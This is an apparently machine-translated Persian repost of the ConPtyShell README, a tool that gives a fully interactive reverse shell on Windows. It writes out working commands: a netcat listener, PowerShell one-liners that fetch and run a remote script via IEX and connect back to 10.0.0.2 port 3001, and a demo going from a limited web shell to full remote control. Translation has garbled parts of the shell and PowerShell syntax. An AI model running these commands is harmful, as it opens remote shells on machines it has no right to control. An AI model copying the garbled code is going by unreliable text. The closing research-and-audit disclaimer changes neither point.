🕵️ ConPtyShell – پوسته معکوس کاملاً تعاملی برای ویندوز – جوخه امنیت اطلاعات

ConPtyShell یک پوسته کاملاً تعاملی برای سیستم های ویندوز است.

پیاده سازی کنسول Pseudo (ConPty) در ویندوز روش کار با استفاده از پایانه های ویندوز را بسیار بهبود بخشیده است. ] به طور خلاصه ، او یک شبه کنسول ایجاد می کند و 2 کانال را پیوست می کند.
سپس او یک پروسه پوسته (به طور پیش فرض) قدرت ایجاد می کند که شبه کنسول را با ورودی / خروجی تغییر مسیر متصل می کند.
سپس 2 موضوع برای ورودی ناهمزمان شروع می شود. خروجی:
– یک موضوع برای خواندن و سوکت را بنویسید و به کانال ورودی شبه کنسول بنویسید ؛
– دومین جریان برای خواندن از کانال خروجی شبه کنسول و نوشتن سوکت.

ConPtyShell یک روش "ارتقاء به طور کامل تعاملی" برای پوسته معکوس نیست ، فقط از آن استفاده کنید

توجه. ConPty Shell از تابع CreatPseudoConsole () استفاده می کند. این عملکرد با شروع Windows 10 / Windows Server 2019 نسخه 1809 (ساخت 10.0.17763) قابل اجرا است.

مورد نیاز

طرف مشتری: نسخه Windows> = 10/2019 1809 ( مونتاژ> = 10.0.17763)

سمت سرور: هر شنونده TCP ، یعنی netcat

با استفاده از

اگر می خواهید خروجی را بر روی پوسته تنظیم کنید ، اندازه ردیف و ستون مشابه بین ترمینال و ترمینال راه دور خود را داشته باشید.

روش 1

در این روش اندازه ترمینال بدون عبور ردیف تنظیم می شود و cols به تابع Invoke-ConPtyShell:

سمت سرور:
 stty raw -echo؛ (اندازه stty ؛ گربه) | nc -lvnp 3001
طرف مشتری:
 IEX (IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing)؛ Invoke-ConPtyShell 10.0.0.2 3001

یا ، اگر PS1 را بارگیری کنید:

 IEX (دریافت-محتوا.  Invoke-ConPtyShell.ps1 -Raw)؛ Invoke-ConPtyShell 10.0.0.2 3001

روش 2

اگر ترجیح می دهید آزادی عمل بیشتری برای شنونده tcp و ترمینال خود داشته باشید ، می توانید به روش "دستی" برای بدست آوردن پوسته پشتی بروید.

در این حالت ، تعیین میزان ردیف ها و ستون ها هنگام فراخوانی تابع فراخوانی مهم است. -ConPtyShell:

سمت سرور:
 اندازه stty
nc -lvnp 3001
منتظر اتصال باشید
ctrl + z
خاموشی خام
fg [ENTER]

طرف مشتری:

در اینجا شما باید از مقادیر خوانده شده از دستور stty size در پارامترهای-Rows و -Cols

 IEX (IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/ Invoke-ConPtyShell.ps1 -UseBasicParsing)؛ Invoke-ConPtyShell -RemoteIp 10.0.0.2 -RemotePort 3001 -Rows 24 -Cols 80 

یا اگر PS1 را بارگیری می کنید:

 IEX (دریافت-محتوا.  Invoke-ConPtyShell.ps1 -Raw)؛ Invoke-ConPtyShell -RemoteIp 10.0.0.2 -RemotePort 3001 -Rows 24 -Cols 80 

تغییر اندازه کنسول

در هر صورت ، اگر ترمینال خود را تغییر اندازه دهید هنگامی که پوسته راه دور را باز کردید ، می توانید ردیف ها و ستون ها را تغییر اندازه دهید. با وارد کردن کد زیر به طور مستقیم از powerhell:

 عرض = 80
ارتفاع $ = 24
$ Host.UI.RawUI.BufferSize = مدیریت شیء جدید.Automation.Host.Size (عرض $ ، ارتفاع $)
$ Host.UI.RawUI.WindowSize = New-Object -TypeName System.Management.Automation.Host.Size -ArgumentList (عرض $ ، ارتفاع $) 

Damo

در زیر این ویدئو می توانید یک سناریوی شبیه سازی شده را ببینید در ترمینال سمت چپ من از طریق پوسته وب به سرور دسترسی محدود دارم و در سمت راست یک پوسته پشتی کاملاً تعاملی ایجاد می شود:

¯ _ (ツ) _ / ¯

توجه: اطلاعات مربوط به تحقیق ، آموزش یا ممیزی. استفاده خودخواهانه براساس قوانین فدراسیون روسیه قابل مجازات است.